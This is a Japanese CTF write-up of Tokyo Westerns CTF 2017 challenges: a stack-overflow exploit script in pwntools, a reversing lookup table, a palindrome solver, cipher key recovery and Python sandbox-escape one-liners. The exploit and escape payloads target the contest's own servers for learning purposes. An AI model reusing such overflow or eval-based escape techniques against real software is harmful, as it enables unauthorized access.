LoginSignup
3
1

More than 5 years have passed since last update.

TWCTF3rd 2017 writeup

Posted at

Tokyo Westerns CTF 3rd 2017 writeup

みんなここに書いてるからこっちにも投稿する。
ほぼWarmupだけ(Webは解けてない)。
200ptで142位でした。

Just do it

Pwn

プログラムの動作自体はパスワードの入力を求め、あってるかどうかを判定するものだった。
とりあえず、stringsで探したら見つかったパスワードを入力してみたが、単にCorrect!と表示されただけだった。
どう考えてもflagじゃない。

逆アセンブルしてコードを見ながらgdbで解析してみるとflag.txtを開いてその内容をグローバル変数にに入れていることが分かった。
これを表示させる必要がある。

just_do_it
0x08048618      68d3870408     push str.flag.txt           ; 0x80487d3 ; "flag.txt"
0x0804861d      e87efeffff     call sym.imp.fopen          ; file*fopen(const char *filename,
0x08048622      83c410         add esp, 0x10
0x08048625      8945f0         mov dword [local_10h], eax
...
0x08048648      83ec04         sub esp, 4
0x0804864b      ff75f0         push dword [local_10h]
0x0804864e      6a30           push 0x30                   ; '0' ; '0'
0x08048650      6880a00408     push obj.flag               ; 0x804a080
0x08048655      e8e6fdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)

しばらく適当にパスワードを入力してると、fgetsで文字数制限しているのにプログラムが落ちることが分かった。
gdb-pedaで落ちたときの状況を調べてみると、最後の不正解のメッセージを表示するところで不正なアドレスが指定されていた。
入力した文字と照し合わせると、20文字目からの値がアドレスに格納されていることが分かった。
checksecするとPIEとかはなかったので多分アドレスは固定のはず(なのかな?)。
なので、20文字入力したあと、flagが格納された変数のアドレスを入力すればflagが表示されるはず。
コードはこれ。

exploit.py
from pwn import *
import time

host = 'pwn1.chal.ctf.westerns.tokyo'
port = '12345'
adrs = 0x804a080
shellcode = 'A' * 20 + p32(adrs) + '\x00'

# p = process("./just_do_it")
p = remote(host, port)
log.info(p.recvuntil('\n'))
log.info(p.recvuntil('\n'))
p.sendline(shellcode)
time.sleep(1)
print(p.recvuntil('\n'))

成功。
でもかなり時間をかけてしまった、pwnに慣れたい。

Rev Rev Rev

Rev

かなり分からなかった。strippedなので関数名とか全然分からないし。
とりあえず逆アセンブルしてみたところ、4つの関数で入力を加工したあとプログラム内の値と比較して一致すればいいらしい。

最初の関数(0x080486b9)は読み込んだ改行文字をヌル文字に置き換えている。

2つ目の関数(0x080486db)は入力された文字列を逆順にしている。

3つ目の関数(0x08048738)はビット演算とシフトを繰り返して文字を変換している。
Cのコードにするとこんな感じの処理をしている。逆算する方法が分からなかった。
あとで知ったけどbitを逆順にしているらしい。

void fcn38(char* arg_8h){
  char* local_4h = arg_8h;
  char local_5h;

  while(*local_4h != '\0'){
    local_5h = *local_4h;
    local_5h = (((unsigned int) local_5h & 0x55) * 2) | ((local_5h >> 1) & 0x55);
    local_5h = (((unsigned int) local_5h & 0x33) << 2) | ((local_5h >> 2) & 0x33);
    local_5h = ((unsigned int) local_5h << 4) | (local_5h >> 4);
    local_4h[0] = local_5h;

    local_4h++;
  }
}

4つ目の関数(0x080487b2)文字毎にnotを取っているだけだった。

ビットを逆順にしていることに気付かなかったので、変換テーブルで変換することにした。
gdbで一致させるデータ列を確認した。16進数値でこんな感じ。

l = ["0x41",
     "0x29",
     "0xd9",
     "0x65",
     "0xa1",
     "0xf1",
     "0xe1",
     "0xc9",
     "0x19",
     "0x9",
     "0x93",
     "0x13",
     "0xa1",
     "0x9",
     "0xb9",
     "0x49",
     "0xb9",
     "0x89",
     "0xdd",
     "0x61",
     "0x31",
     "0x69",
     "0xa1",
     "0xf1",
     "0x71",
     "0x21",
     "0x9d",
     "0xd5",
     "0x3d",
     "0x15",
     "0xd5"]

gdbを使って入力を変換させて、どの文字がどの値になるのかひたすら調べた。
一度に複数文字入力してもいいのでそこまで手間じゃなかった。
解くのに十分なだけのデータが揃ったところで入力を生成させて、送信、そして成功。

変換テーブルを含んだコードはこんな感じ。

decrypto.py
table = {}
table['-'] = hex(0x4b)
table['.'] = hex(0x8b)
table['/'] = hex(0x0b)
table['0'] = hex(0xf3)
table['1'] = hex(0x73)
table['2'] = hex(0xb3)
table['3'] = hex(0x33)
table['4'] = hex(0xd3)
table['5'] = hex(0x53)
table['6'] = hex(0x93)
table['7'] = hex(0x13)
table['8'] = hex(0xe3)
table['9'] = hex(0x63)
table[':'] = hex(0xa3)
table[';'] = hex(0x23)
table['<'] = hex(0xc3)
table['='] = hex(0x43)
table['>'] = hex(0x83)
table['?'] = hex(0x03)
table['@'] = hex(0xfd)
table['A'] = hex(0x7d)
table['B'] = hex(0xbd)
table['C'] = hex(0x3d)
table['D'] = hex(0xdd)
table['E'] = hex(0x5d)
table['F'] = hex(0x9d)
table['G'] = hex(0x1d)
table['H'] = hex(0xed)
table['I'] = hex(0x6d)
table['J'] = hex(0xad)
table['K'] = hex(0x2d)
table['L'] = hex(0xcd)
table['M'] = hex(0x4d)
table['N'] = hex(0x8d)
table['O'] = hex(0x0d)
table['P'] = hex(0xf5)
table['Q'] = hex(0x75)
table['R'] = hex(0xb5)
table['S'] = hex(0xd5)
table['T'] = hex(0x55)
table['U'] = hex(0x95)
table['V'] = hex(0x65)
table['W'] = hex(0x15)
table['X'] = hex(0xe6)
table['Y'] = hex(0x65)
table['Z'] = hex(0xa5)
table['['] = hex(0x25)
table['\\'] = hex(0xc5)
table[']'] = hex(0x45)
table['^'] = hex(0x85)
table['_'] = hex(0x05)
table['`'] = hex(0xf5)
table['a'] = hex(0x79)
table['b'] = hex(0xb9)
table['c'] = hex(0x39)
table['d'] = hex(0xd9)
table['e'] = hex(0x59)
table['f'] = hex(0x99)
table['g'] = hex(0x19)
table['h'] = hex(0xe9)
table['i'] = hex(0x69)
table['j'] = hex(0xa9)
table['k'] = hex(0x29)
table['l'] = hex(0xc9)
table['m'] = hex(0x49)
table['n'] = hex(0x89)
table['o'] = hex(0x09)
table['p'] = hex(0xf1)
table['q'] = hex(0x71)
table['r'] = hex(0xb1)
table['s'] = hex(0x31)
table['t'] = hex(0xd1)
table['u'] = hex(0x51)
table['v'] = hex(0x91)
table['w'] = hex(0x11)
table['x'] = hex(0xe1)
table['y'] = hex(0x61)
table['z'] = hex(0xa1)
table['{'] = hex(0x21)
table['|'] = hex(0xc1)
table['}'] = hex(0x41)
table['~'] = hex(0x81)

l = ["0x41",
     "0x29",
     "0xd9",
     "0x65",
     "0xa1",
     "0xf1",
     "0xe1",
     "0xc9",
     "0x19",
     "0x9",
     "0x93",
     "0x13",
     "0xa1",
     "0x9",
     "0xb9",
     "0x49",
     "0xb9",
     "0x89",
     "0xdd",
     "0x61",
     "0x31",
     "0x69",
     "0xa1",
     "0xf1",
     "0x71",
     "0x21",
     "0x9d",
     "0xd5",
     "0x3d",
     "0x15",
     "0xd5"]

rev_table = {}
for k, e in table.items():
    rev_table[e] = k

a = list(map(lambda x: rev_table[x], l))

ans = ""
for c in a:   
    ans += c

print(ans)

変換テーブルがでかい。

Palindromes Pairs - Coding Phase -

PPC

pythonでやった。
問題文の解釈で時間食ってしまった。
実装は単純に先頭と末尾から比較していくだけ。
これがベストな方法なのかな?
コードはこんな感じ。

palindrome.py
from pwn import *


def copy(lst):
    lst2 = []
    for i in lst:
        lst2.append(i)

    return lst2


def is_palindrome(s):
    head = 0
    tail = len(s) - 1
    while(head < tail):
        if(s[head] != s[tail]):
            return False
        head += 1
        tail -= 1

    # print(s)
    return True


def get_palindromes_set(lst):
    palin_set = set()
    for e in lst:
        if is_palindrome(e):
            palin_set.add(e)
    return palin_set


def get_palindromes_num(lst):
    count = 0
    length = len(lst)

    for i in range(0, length):
        elm = lst[i]
        rest = lst[i+1:length]

        if len(rest) != 0:
            head_list = [is_palindrome(elm + e) for e in rest]
            last_list = [is_palindrome(e + elm) for e in rest]
            count += head_list.count(True) + last_list.count(True)

        if is_palindrome(elm + elm):
            count += 1

    return count

host = 'ppc1.chal.ctf.westerns.tokyo'
port = '8765'
p = remote(host, port)

log.info(p.recvuntil('----- START -----\n'))
for _ in range(50):
    log.info(p.recvuntil('\n'))
    log.info("num:" + p.recvuntil('\n'))
    words = p.recvuntil('\n')
    log.info(words)

    words = words.strip().split(" ")
    ans = get_palindromes_num(words)
    log.info(str(ans))
    p.sendline(str(ans))
    log.info(p.recvuntil('\n'))
    p.recvuntil('\n')

p.interactive()

lisp使いたくなった、python2だとlistの操作が副作用ありなのが多くて慣れない。
そもそもコードがpythonっぽくないし修行足りてない。
まあ一応解けたので良しとしよう。

My Simple Cipher

Crypto

7zの解凍方法を忘れ無駄に悩む。
cipher.pyの暗号化方法自体は単純にキーと前回の値を使って値を加算しmodを取るだけの単純なもの。
注目するべきなのは平文と暗号文で文字の位置は同じであること、平文中に必ず"|"があること、keyが13文字で固定なことである。

この"|"が位置固定なので、この位置で使われた鍵の文字は特定することができる。
なぜなら暗号化に用いられたmessage[i], key[i % 13], encrypted[i]のうちmessage[i]とencrypetd[i]が判明しているので、以下のようになるはずである。多分。
$$
key[i \ mod \ 13] = (encrypted[i] - encrypted[i-1] - message[i])\ mod\ 128
$$

”|”は最初が0として22文字目にある。
最初の一文字はランダム与えられた初期化ベクトルのような値なので無視して、21文字目。
13でmodを取ると8、従って鍵の8文字目が分かる。

次に鍵の8文字目で暗号化されている部分に着目する、この部分は復号化可能である。
ここで、暗号文に鍵が含まれていることを利用する。
鍵の8文字目で暗号化されている部分を復号すると鍵の別の場所の文字が分かる。
これを繰り返して鍵全体を復号化し、それを用いてencryptedを復号化する。
あとは単純作業になる。手元でメモを取りながらやった。

decrypto.py
def decrypt_char(cipher_char, key_char, prev_cipher):
    return chr((ord(cipher_char) - ord(key_char) - ord(prev_cipher)) % 128)


def decrypt(key, cipher):
    ret = ''

    iv = cipher[0]
    cipher = cipher[1:]
    for i in range(len(cipher)):
        ret += decrypt_char(cipher[i], key[i % len(key)], iv)
        iv = cipher[i]

    return ret


def extract_key(cipher):
    key = [''] * 13
    recog_char = '|'
    key_len = 13
    len_c = len(cipher)
    recog_char_pos = len_c - 13 - 1

    recog_key = decrypt_char(cipher[recog_char_pos],
                             recog_char,
                             cipher[recog_char_pos - 1])
    key[(recog_char_pos - 1) % key_len] = recog_key

    # {applied_key_pos: (cipher_pos, extracted_key_pos)}
    key_encrypted_map = {i % 13: (i, e) for e, i in enumerate(range(len_c - 1 - 13, len_c - 1))}

    last_extract_key = 8
    for _ in range(12):
        cipher_char_pos, next_key_pos = key_encrypted_map[last_extract_key]
        cipher_char_pos = cipher_char_pos + 1
        next_key_char = decrypt_char(cipher[cipher_char_pos],
                                     key[last_extract_key],
                                     cipher[cipher_char_pos - 1])
        key[next_key_pos] = next_key_char
        last_extract_key = next_key_pos

    ret = ''
    for c in key:
        ret += c

    return ret


with open('encrypted.txt') as f:
    encrypted = f.readline()

cipher = encrypted.strip().decode('hex')

print(decrypt(extract_key(cipher), cipher))

pplc

PPC

唯一warmup以外で解けた問題。

private

ひとつめの問題。

プライベートなメソッドについての問題。
pythonにはアクセス修飾子がないが、接頭語と接尾語にアンダースコア(であってたかな、_のこと)を使うことで扱いを変えたりする。
接頭語に__があって、接尾語で__がないメソッドは名前が_ClassName__methodnameとなる。
つまりp._Private__flag()を実行させればいいはずなのだが、assert文でPrivateが含まれる文字列は弾かれてしまう。

ここでpythonの関数オブジェクトに対して()を付けると呼び出せるという性質を利用する。
要は、こんな感じのことができるのである。

function_test.py
def func():
    return 1

f = func # ここで関数オブジェクトがfに格納される
f() # 1が返される

あとは関数オブジェクトを取得すればいいので、文字列をpythonコードとして実行し結果を返すeval関数とクラスやオブジェクトなどメンバを文字列として取得するdir関数を組み合わせて、_Private__flagの関数オブジェクトを取得する。
これを()で呼び出せばフラグを表示できるはず。
手元の環境でdir(p)してみると最初の要素に_Private__flagがあったので、とりあえず最初の要素でにあると仮定してやってみた。
最終的な文字列はこんな感じ。

private.py
eval("p."+dir(p)[0])()

成功した。

local

ふたつめの問題。

今度は関数内で定義されるローカル変数を参照できるかという問題。
get_flagなのにflag返さねえじゃねえかとは思った。

さっき使った関数オブジェクトの構造を観察してみる。実はさっきの問題を解くまでよく知らなかった。
dir関数を使ってメンバを見てみるとfunc_codeといういかにもコードがありそうなメンバがあった。
pythonのコードの情報を持っているようで、バイトコンパイルされたコードなどが含まれている。どうやってpythonが作られているのかが読み取れる気がしてくる。
このcodeオブジェクトに対してもdirでメンバを読み取ると、co_constsという定数値がありそうな名前がある。
表示してみるとビンゴだった。

送信した文字列はこんな感じ。

local.py
get_flag.func_code.co_consts

comment

みっつめの問題

これは知っていたのですぐに解けた、pythonパッケージを作ったときにこの話を見た。

パッケージの一番先頭にある文字列は__doc__に格納され、help関数で表示できるようになる。
関数などでも、定義の一番最初に置いた文字列がこのように取得できる。
ただしhelpだと対話的環境でしか表示されないので、__doc__を表示することにする。
送信文字列はこんな感じ。

comment.py
comment_flag.__doc__

おわり

pythonがなければwarmupだけで終わっていた。
日本でやってるctfだからか、なんとなく日本語のwriteupも多く感じるし、自分もやってみた。
文章力の低さを実感するなぁ。

3
1
4

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
1